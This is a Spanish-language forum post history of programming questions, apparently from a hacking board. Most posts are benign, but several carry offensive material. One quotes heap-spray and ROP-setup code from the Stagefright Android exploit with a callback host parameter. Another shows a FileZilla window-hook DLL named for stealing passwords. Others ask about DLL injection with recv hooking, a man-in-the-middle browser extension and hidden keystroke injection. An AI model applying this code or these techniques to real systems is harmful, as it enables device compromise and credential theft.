Hola tengo un ajax request que apunta a la pagina que acepta el submit del formulario de facebook, le envió un email y pass y el resultado responseText me lo devuelve en español pero yo lo necesito siempre en ingles. Me he fijado que con fijar un header de accept-language no funciona porque utilizan una cookie locale que se tiene que cambiar a en-US pero no puedo con js o por lo menos si creo una cookie asi la antigua se queda y es la que utiliza por lo tanto no me sirve. También vi que para cambiar el idioma en facebook abajo hay enlaces que apuntan a otro link que cambia la cookie pero para esto necesito recargar la pagina, que tampoco me sirve...

Lo que si que sirve es conectarme a mi servidor y desde el servidor hacer la consulta con la cookie cambiada pero no quiero que mi servidor se conecte directamente a facebook por lo tanto quiero que el cliente haga el ajax.

Alguna idea?
#24
Hola sabéis de algún script que puede cerrar la pestaña actual como esto en chrome que ya no funciona:

Código (javascript) [Seleccionar]
window.open('', '_self', '');
window.close();


Un saludo
#25
Hola como puedo ocultar una ventana con SW_HIDE pero poder enviar le eventos por ejemplo de teclado?
Código (cpp) [Seleccionar]
ShowWindow(hwnd, SW_HIDE);
SetForegroundWindow(hwnd);
SetFocus(hwnd);
PostMessage(hwnd, WM_KEYDOWN, VK_F12, 0x00240001);
PostMessage(hwnd, WM_KEYUP, VK_F12, 0x00240001);
Sleep(1000); // Si quito el sleep funciona pero porque los eventos llegan después de la aparición de la ventana
ShowWindow(hwnd, SW_MAXIMIZE);


No quiero minimizar la ventana, quiero que desaparezca pero reciba eventos.

Un saludo

@Edit: Que le pasa al GeSHi cpp con las funciones de la windows api?
#26
Hola quiero hacer un programa que cargue una pagina de forma normal y corriente estilo navegador. Ademas antes de la carga quiero insertar un código js, editar el código fuente de la pagina y luego cargar la. La pagina tiene que ejecutarse en segundo plano.

Al principio pensaba hacer lo con ActiveX Web Browser de ie pero creo que no es posible.


Se puede ejecutar por ejemplo chrome de forma invisible, enviar tecla Ctr + Shift + J para abrir consola e insertar mi código js ? Puedo abrir la consola pero no se como abrir el programa sin que se vea.

Cualquier sugerencia es de ayuda, Gracias  :D
#27
Hacking / Stagefright exploit ayuda
11 Septiembre 2015, 20:43 PM
Hola estoy intentado entender el código de https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/

No entiendo esta parte

Código (python) [Seleccionar]
   # Spray the heap using a large tx3g chunk (can contain binary data!)
   """
      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
   """
   page = ''
   off = 0  # the offset to the next object
   off += 8
   page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
   page += struct.pack('<L', sp_addr + off) # mRefs
   off += 16
   page += struct.pack('<L', 1)             # mStrong
   page += struct.pack('<L', 0xc0dedbad)    # mWeak
   page += struct.pack('<L', sp_addr + off) # mBase
   page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
   off += 8
   page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
   page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
   off += 16
   page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
   page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
   page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
   page += struct.pack('<L', newpc_val)          # vtable entry 12
   rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
   x = len(page)
   while len(page) < 4096:
       page += struct.pack('<L', 0xf0f00000+x)
       x += 4

   off = 0x34
   page = page[:off] + rop + page[off+len(rop):]
   spray = page * (((2*1024*1024) / len(page)) - 20)
   moov_data += make_chunk('tx3g', spray)
   block = 'A' * 0x1c
   bigger = 'B' * 0x40
   udta = make_chunk('udta',
       make_chunk('meta',
           struct.pack('>L', 0) +
           make_chunk('ilst',
               make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
               make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
               make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
               make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
               make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
               make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
               make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
               make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
               make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
               make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
           )
       )
   moov_data += udta



Alguien que ha mirando un poco el código me lo puede aclarar?

Gracias
#28
Programación C/C++ / JS call() o apply() en c++
9 Septiembre 2015, 13:37 PM
Existe alguna función parecida a la de call o apply en js pero en c++ para cambiar el puntero this?

Un saludo
#29
Hola es la primera que quiero instalarme una fimware en mi router. Todavía no se casi nada pero en mi router no existe opción para actualizar la fimware. Leí que se actualizaba automáticamente por ONO que es mi ISP.

Como podría instalarme lo ?

Gracias
#30
Hola, estoy mirando un poco como guarda los datos de usuario y otras cosas Chrome y en el archivo C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Preferences que contiene datos en JSON hay una valor last_clear_browsing_data_time   que contiene un int como este 13054559391604378. Que tipo de tiempo es? Lo quiero convertir a una cadena como dia,mes,año ...

Para que sirve el archivo C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Sync Data\SyncData.sqlite3 ?? Contiene enlaces, nombres de pcs y nombres de extensiones ademas de los IDS de los servers de chrome, creo,

Un saludo

@Categoría correcta para poner el tema?
#31
Hola estibe haciendo un bot para el juego tRex de chrome que aparece cuando no tienes conexión pero creo que han actualizado el código y ahora eliminan variables globales como document, window etc... para que no puedas acceder a los elementos de la pagina...

Ahora estoy mirando el código intentando ver como y donde lo hacen.
El código lo pueden conseguir desde chrome F12 -> Network -> Offline
Ideas ??
Un saludo
#32
Hola tengo esto:
Código (cpp) [Seleccionar]
bool SaveBeep(int a, int b){
int *c = new int(2);
c[0] = a;
c[1] = b;
if (!CreateThread(0, 0, beepThread, (LPVOID)c, 0, 0))
return 0;
return 1;
}

DWORD WINAPI beepThread(LPVOID p){
int * a = (int*)p;
Beep(a[0], a[1]);
delete[]a;
return 0;
}


Error de memoria en delete[]a;
También probé:
Código (cpp) [Seleccionar]
delete &a[0];
delete &a[1];

pero sigue igual.
Primero probé así pero no recibía los int
Código (cpp) [Seleccionar]
bool SaveBeep(int a, int b){
int c[2] = { a, b };
if (!CreateThread(0, 0, beepThread, (LPVOID)c, 0, 0))
return 0;
return 1;
}

DWORD WINAPI beepThread(LPVOID p){
int * a = (int*)p;
Beep(a[0], a[1]);
return 0;
}


Ideas??

Un saludo
#33
Programación C/C++ / fclose sin argumentos
18 Agosto 2015, 14:21 PM
Código (cpp) [Seleccionar]
int main(int argc, char *argv[])
{
char Nombre[20];
FILE *archivo;
char letras[1000];
archivo = fopen("config.txt", "r");
fgets(letras, 1000, archivo);
strcpy(Nombre, letras);
printf("%s\n", Nombre);
fclose;
system("PAUSE");

return EXIT_SUCCESS;
}


En la parte de fclose; porque funciona sin ningún argumento???

Un saludo
#34
Hola tengo una DLL que exporta esta función:

Código (cpp) [Seleccionar]

//Al principio era: vector<string> split(string str,char c);
void split(string str, char c,vector<string>* strings){
stringstream stream(str);
string item;
while (getline(stream, item, c)){
strings->push_back(item);
}
}


Luego:
Código (cpp) [Seleccionar]
HMODULE lib = LoadLibrary("C:\\Users\\Dimitar\\Documents\\Visual Studio 2013\\Projects\\BasicTools\\Release\\BasicTools.dll");
if (lib == NULL){
e("Library failed to load!");
}
_split split = (_split)GetProcAddress(lib, "split");
if (!split){
e("Failed to load split!");
}
string test = "Hola me llamo Jose!";
vector<string> strings;
split(test, ' ', &strings);
for (auto str : strings){
cout << str << endl;
}


Recibo error por alocar memoria, me lo esperaba...
Hay alguna manera de exportar vector y string?

Un saludo
#35
Programación C/C++ / Convertir LPWSTR a char **
12 Agosto 2015, 11:22 AM
Hola, se les ocurre mejor manera de convertir un LPWSTR a char **;
Código (cpp) [Seleccionar]
int argc;
LPWSTR *_argv = CommandLineToArgvW(GetCommandLineW(), &argc);
char ** argv = new char*[argc * 200];
for (int i = 0; i < argc; i++){
argv[i] = new char[200];
wcstombs(argv[i], _argv[i], 200);
}



for (int i = 0; i < argc; i++){
delete [] argv[i];
}
delete[] argv;


Un saludo
#36
Scripting / [Bath] Sleep + msg.exe no funciona
3 Agosto 2015, 12:52 PM
Hola, teniendo esto:

Código (bash) [Seleccionar]
ping 1.1.1.1 -n 1 -w 15000 > nul
msg * hola!

Lo abro, cambio de usuario y espero recibir un 'hola!' pero no aparece nada.
Tampoco si abro cmd y utilizo msg * hola!
Solo si envió mensajes hasta el usuario desde el que ejecuto el comando.

Por que ?

Un saludo
#37
Scripting / [Python] Imprimir mas rápido
3 Agosto 2015, 11:09 AM
Hola tengo este codigo:

Código (python) [Seleccionar]
from os import system
from msvcrt import getch
import colorama
from colorama import Fore
import json

colorama.init()

maxX = 80
maxY = 40

system('mode 80,40')
class posistion:
def __init__(self):
self.x = 0
self.y = 1
def addX(self,v = 1):
if self.x < maxX - 1:
self.x += v
if self.x < 0:
self.x = 0
return self.x
else:
return -1
def addY(self,v = 1):
if self.y < maxY - 1:
self.y += v
if self.y < 1:
self.y = 1
return self.y
else:
return -1
class cForSave:
pass

def Mprint(m):
r = '\n'
for i,x in enumerate(m):
for j,y in enumerate(x):
if i == pos.y and j == pos.x:
r += (Fore.RED + y)
elif y == ' ':
r += (Fore.WHITE + y)
else:
r += (Fore.WHITE + y)
print r,
#print pos.x,pos.y


pos = posistion()
matrix = [[' ' for x in range(1,maxX + 1)] for x in range(1,maxY + 1)]
while True:
c = getch()
if c == '\000' or c == '\xe0':
key = ord(getch())
if key == 77: # right
pos.addX()
elif key == 75: # left
pos.addX(-1)
elif key == 80: # bottom
pos.addY()
elif key == 72: # top
pos.addY(-1)
elif c == '\t': # Save monster to file
f = open('monster','w')
s = cForSave()
s.matrix = matrix
s.pos = pos
json.dump(s,f)
f.close()
system('cls')
print 'Monster saved!'
system('pause')
elif c == '\r': # Load monster from file
try:
f = open('monster','r')
s = json.load(f)
matrix = s.matrix
pos = s.pos
except IOError:
system('cls')
print 'Monster file not found!'
system('pause')
else:
matrix[pos.y][pos.x] = c
system('cls')

Mprint(matrix)


Funciona pero muy lento y la pantalla parpadea. Es mi segundo programa en python y no se me ocurrió otra manera. No se como modificar solo un carácter del terminal con python y no reescribir todo.

Un saludo
#38
Hola tengo un pc en el que no consigo ver el problema.
pc se reinicia de repente sin mostrar ningún aviso. Tampoco se muestra el BSOD.
Comprobé y la temperatura del pc no sube mas de 75% la GPU lo demás es todavía menos.
En el log tengo esto:
CitarLevel Date and Time Source Event ID Task Category
Information 7/26/2015 4:35:17 PM Microsoft-Windows-Winlogon 7001 (1101) User Logon Notification for Customer Experience Improvement Program
Information 7/26/2015 4:34:58 PM Service Control Manager 7026 None "The following boot-start or system-start driver(s) did not load:
dam"
Information 7/26/2015 4:34:54 PM Microsoft-Windows-DHCPv6-Client 51046 Service State Event DHCPv6 client service is started
Information 7/26/2015 4:34:54 PM Microsoft-Windows-Dhcp-Client 50036 Service State Event DHCPv4 client service is started
Information 7/26/2015 4:34:53 PM Microsoft-Windows-UserModePowerService 12 (10) Process C:\Windows\System32\atieclxx.exe (process ID:396) reset policy scheme from {381B4222-F694-41F0-9685-FF5BB260DF2E} to {381B4222-F694-41F0-9685-FF5BB260DF2E}
Information 7/26/2015 4:34:47 PM Microsoft-Windows-FilterManager 6 None File System Filter 'luafv' (6.3, ‎2014‎-‎02‎-‎22T15:14:25.000000000Z) has successfully loaded and registered with Filter Manager.
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 7 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 5 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 3 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 1 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 6 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 4 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 2 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:31 PM Microsoft-Windows-Kernel-Processor-Power 55 (47) "Processor 0 in group 0 exposes the following power management capabilities:

Idle state type: ACPI Idle (C) States (2 state(s))

Performance state type: ACPI Performance (P) / Throttle (T) States
Nominal Frequency (MHz): 3501
Maximum performance percentage: 100
Minimum performance percentage: 22
Minimum throttle percentage: 22"
Information 7/26/2015 4:34:29 PM Microsoft-Windows-Ntfs 98 None Volume E: (\Device\HarddiskVolume2) is healthy.  No action is needed.
Critical 7/26/2015 4:34:27 PM Microsoft-Windows-Kernel-Power 41 (63) The system has rebooted without cleanly shutting down first. This error could be caused if the system stopped responding, crashed, or lost power unexpectedly.
Information 7/26/2015 4:34:27 PM Microsoft-Windows-FilterManager 6 None File System Filter 'npsvctrig' (6.3, ‎2013‎-‎08‎-‎22T14:38:22.000000000Z) has successfully loaded and registered with Filter Manager.
Information 7/26/2015 4:34:27 PM Microsoft-Windows-Ntfs 98 None Volume C: (\Device\HarddiskVolume3) is healthy.  No action is needed.
Information 7/26/2015 4:34:20 PM Microsoft-Windows-Ntfs 98 None Volume \\?\Volume{7103d8b7-302d-11e5-8250-806e6f6e6963} (\Device\HarddiskVolume1) is healthy.  No action is needed.
Information 7/26/2015 4:34:19 PM Microsoft-Windows-FilterManager 6 None File System Filter 'WdFilter' (6.3, ‎2015‎-‎01‎-‎30T13:20:58.000000000Z) has successfully loaded and registered with Filter Manager.
Information 7/26/2015 4:34:19 PM Microsoft-Windows-FilterManager 6 None File System Filter 'Wof' (6.3, ‎2014‎-‎03‎-‎13T11:27:29.000000000Z) has successfully loaded and registered with Filter Manager.
Information 7/26/2015 4:34:19 PM Microsoft-Windows-FilterManager 6 None File System Filter 'FileInfo' (6.3, ‎2014‎-‎02‎-‎22T15:13:10.000000000Z) has successfully loaded and registered with Filter Manager.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-Boot 30 None The firmware reported boot metrics.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-Boot 32 None The bootmgr spent 0 ms waiting for user input.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-Boot 18 None There are 0x1 boot options on this system.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-Boot 27 None The boot type was 0x0.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-Boot 20 None The last shutdown's success status was false. The last boot's success status was true.
Information 7/26/2015 4:34:18 PM Microsoft-Windows-Kernel-General 12 None The operating system started at system time ‎2015‎-‎07‎-‎26T13:34:18.495664700Z.
Information 7/26/2015 4:34:50 PM EventLog 6013 None The system uptime is 32 seconds.
Information 7/26/2015 4:34:50 PM EventLog 6005 None The Event log service was started.
Information 7/26/2015 4:34:50 PM EventLog 6009 None Microsoft (R) Windows (R) 6.03. 9600  Multiprocessor Free.
Error 7/26/2015 4:34:50 PM EventLog 6008 None The previous system shutdown at 4:19:01 PM on ‎7/‎26/‎2015 was unexpected.
Information 7/26/2015 4:11:16 PM Microsoft-Windows-Power-Troubleshooter 1 None "The system has returned from a low power state.

Sleep Time: ‎2015‎-‎07‎-‎26T12:51:30.053921800Z
Wake Time: ‎2015‎-‎07‎-‎26T13:11:08.832026900Z

Wake Source: Device -Controladora de host extensible 3.0 de USB de Intel(R): 0100 (Microsoft)"
Information 7/26/2015 4:11:08 PM Microsoft-Windows-Kernel-Power 131 (33) Firmware S3 times. ResumeCount: 1, FullResume: 1811, AverageResume: 1811
Information 7/26/2015 4:11:08 PM Microsoft-Windows-Kernel-General 1 None "The system time has changed to ‎2015‎-‎07‎-‎26T13:11:08.500000000Z from ‎2015‎-‎07‎-‎26T12:51:35.664466200Z.

Change Reason: System time synchronized with the hardware clock."
Information 7/26/2015 3:51:30 PM Microsoft-Windows-Kernel-Power 42 (64) "The system is entering sleep.

Sleep Reason: System Idle"

Sube el archivo .evtx aquí: https://drive.google.com/file/d/0BwSx2kOJel7xeWtic0p5ZXpRUlE/view?usp=sharing
Al leer vi que justo antes del reinicio se ejecuta:
Filter 'npsvctrig' (6.3, ‎2013‎-‎08‎-‎22T14:38:22.000000000Z) has successfully loaded and registered with Filter Manager.
Ayuden pls
Un saludo
#39
Hola,
teniendo esto:
Código (cpp) [Seleccionar]
typedef bool (_funct)(char* buffer,int maxLength);
_funct * funct = (_funct*)GetProcAddress(library, "funct");
//Porque es posible llamar a un puntero funcion de esta manera? :
funct(..);
//Me parece mas logico asi:
(*funct)(..);


Saludos
#40
Hola estuve probando cositas y en este codigo:

Código (cpp) [Seleccionar]

//Main.cpp
typedef void(_MakeHook)(DWORD threadID, int dlgID);

int _tmain(int argc, _TCHAR* argv[])
{
HWND hwnd = FindWindow("wxWindowNR", "FileZilla");
if (hwnd == 0){
printf("FileZilla not found\n");
getchar();
return 0;
}

HMODULE library = LoadLibrary("C:\\Users\\User\\Documents\\Visual Studio 2013\\Projects\\stealPwDll_real\\x64\\Debug\\stealPwDll_dll.dll");
if (library == NULL){
printf("error library %d\n",GetLastError());
}
_MakeHook * MakeHook = (_MakeHook *)GetProcAddress(library, "MakeHook");
if (MakeHook == 0){
printf("getpw error\n");
}
MakeHook(GetWindowThreadProcessId(hwnd, 0), 0xFFFF83C4);

MSG msg;
while (!GetMessage(&msg, 0, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}

getchar();
return 0;
}



Código (cpp) [Seleccionar]

//Código del main_dll.cpp
#include <Windows.h>
#include "main.h"
#include <stdio.h>

#pragma warning(disable:4996)

HMODULE hmodule;
HHOOK hook;
bool msgSend = false;
int g = 0;

BOOL WINAPI DllMain(HMODULE hmodule,DWORD reason,LPVOID){
if (reason == DLL_PROCESS_ATTACH){
::hmodule = hmodule;
}
return 1;
}




void MakeHook(DWORD id, int dlgID){
hook = SetWindowsHookEx(WH_CALLWNDPROC, getPw, hmodule, id);
if (hook == NULL){
char msg[100];
sprintf(msg, "Hook error -> %d", GetLastError());
MessageBox(0, msg, "Hook error", MB_ICONERROR);
}
}


LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
g++;
char msg[100];
sprintf(msg, "%d", g);
MessageBox(0, "Not current thread call", msg, MB_ICONINFORMATION); //  ----------- Parte rara --------
msgSend = true;
}
}
return 1;
}


Si utilizo el código del main_dll.cpp me muestra 30 MessageBox empezando desde g = 30
Si cambio el código:
Código (cpp) [Seleccionar]
LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
msgSend = true; // ----- Parte cambiada -> msgSend = true; sube primero
g++;
char msg[100];
sprintf(msg, "%d", g);
MessageBox(0, "Not current thread call", msg, MB_ICONINFORMATION);

}
}
return 1;
}


Me muestra solo un MessageBox como debe ser.

Porque???

Un saludo
#41
Hola es posible media la inyección de una dll y luego un hook hacia la recv función o la que use captar los datos y cambiarlos antes de llamar a la función que tenia asignada ?

Si no que alternativas queda?

Saludos
#42
Hola quiero crear una extensión para firefox en la que puedo captar la carga de un archivo js por parte de una web y reemplazar su contenido por otro y cargar mi código.
Como un ataque MitM.

No encuentro una API o función para para la ejecución y reemplazar el contenido.

Alguna idea?
#43
Hola estoy intentando hacer un programa que cree 2 hilos, el principal que leerá datos de una archivos y los guardara en un vector<char> mientras que el otro hilo lee el vector<char> eliminando el primer dato pop_back() para escribir lo en otro archivo.

El problema es que no se compartir un vector<char> en la memoria entre los dos hilos.
Empecé por hacer esto:

Código (cpp) [Seleccionar]
vector<char> *buffer = new vector<char>();
shmget(IPC_PRIVATE,1024 * sizeof(vector<char>),IPC_CREAT | 0700);


pero luego no se como seguir con shmat()
Un código ejemplo pls  :D

Saludos
#44
Hola escribí esto:

Código (cpp) [Seleccionar]
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(){
char name[100];
int i = 0;
int file = -1;
do{
if(file != -1)
close(file);
sprintf(name,"file%d",i);
}while((file = open(name,O_RDONLY)) != -1 && ++i);
file = open(name,O_WRONLY | O_CREAT);
char text[1024];
for(int j = 0;j<i+1;j++){
sprintf(text,"Hola %d veces\n",j);
while(write(file,text,strlen(text)) != strlen(text));
}
close(file);
return 0;
}


luego use un bucle
Código (bash) [Seleccionar]
while true; do ./a.out;done

En el escritorio me aparecieron mucho archivos con sus permisos aleatorios y raros.
Ejemplo:
Código (bash) [Seleccionar]
----r-Sr-t 1 root     root     14155 jun 21 23:57 file950
--wS---r-x 1 root     root     14170 jun 21 23:57 file951
---Sr-Sr-x 1 root     root     14185 jun 21 23:57 file952
------Sr-x 1 root     root     14200 jun 21 23:57 file953
--ws---r-t 1 root     root     14215 jun 21 23:57 file954
-rwxr-Sr-x 1 root     root     14230 jun 21 23:57 file955
-r----Sr-x 1 root     root     14245 jun 21 23:57 file956
-r-xr--r-t 1 root     root     14260 jun 21 23:57 file957
-r-sr--r-t 1 root     root     14275 jun 21 23:57 file958
-r-Sr-Sr-t 1 root     root     14290 jun 21 23:57 file959
-r-Sr--r-T 1 root     root      1348 jun 21 23:57 file96
--wSr--r-x 1 root     root     14305 jun 21 23:57 file960
---xr--r-x 1 root     root     14320 jun 21 23:57 file961
-rwSr-Sr-t 1 root     root     14335 jun 21 23:57 file962
--wxr-Sr-x 1 root     root     14350 jun 21 23:57 file963
-r-sr--r-t 1 root     root     14365 jun 21 23:57 file964
---xr--r-t 1 root     root     14380 jun 21 23:57 file965
-rw-r--r-x 1 root     root     14395 jun 21 23:57 file966
-rw-r--r-t 1 root     root     14410 jun 21 23:57 file967
-rwx--Sr-x 1 root     root     14425 jun 21 23:57 file968
---xr--r-x 1 root     root     14440 jun 21 23:57 file969
-r--r-Sr-T 1 root     root      1362 jun 21 23:57 file97
-r--r--r-x 1 root     root     14455 jun 21 23:57 file970
--w----r-t 1 root     root     14470 jun 21 23:57 file971
-r----Sr-t 1 root     root     14485 jun 21 23:57 file972
-rw---Sr-x 1 root     root     14500 jun 21 23:57 file973
------Sr-x 1 root     root     14515 jun 21 23:57 file974
--w-r-Sr-t 1 root     root     14530 jun 21 23:57 file975
-rw---Sr-t 1 root     root     14545 jun 21 23:57 file976
-rwx--Sr-t 1 root     root     14560 jun 21 23:57 file977
---x--Sr-t 1 root     root     14575 jun 21 23:57 file978
-------r-t 1 root     root     14590 jun 21 23:57 file979
----r-Sr-T 1 root     root      1376 jun 21 23:57 file98
-r-sr--r-t 1 root     root     14605 jun 21 23:57 file980
-rwxr--r-t 1 root     root     14620 jun 21 23:57 file981
--wxr-Sr-t 1 root     root     14635 jun 21 23:57 file982
--ws---r-t 1 root     root     14650 jun 21 23:57 file983
---Sr--r-x 1 root     root     14665 jun 21 23:57 file984
-rw-r--r-x 1 root     root     14680 jun 21 23:57 file985
-rw-r-Sr-t 1 root     root     14695 jun 21 23:57 file986
--wxr-Sr-t 1 root     root     14710 jun 21 23:57 file987
-r-S--Sr-t 1 root     root     14725 jun 21 23:58 file988
--wsr--r-x 1 root     root     14740 jun 21 23:58 file989
--ws---r-T 1 root     root      1390 jun 21 23:57 file99
--wS---r-t 1 root     root     14755 jun 21 23:58 file990
-r-xr--r-x 1 root     root     14770 jun 21 23:58 file991
-rwS--Sr-x 1 root     root     14785 jun 21 23:58 file992


Porque??

Saludos
#45
GNU/Linux / notify-send y init.d
21 Junio 2015, 01:13 AM
Hola tengo un shell:

Código (bash) [Seleccionar]
notify-send hola!!

Al ejecutarlo con root funciona bien pero con usuario ordinario no y tampoco funciona al ejecutarlo con
/etc/init.d/file.sh
update-rc.d file.sh defaults

Al buscar un poco llegue a esto:

Código (bash) [Seleccionar]
#!/bin/sh
su usuario
DISPLAY=:0.0;
notify-send hola!!

Pero sigue sin funcionar.


Ayuda  :D


Un saludo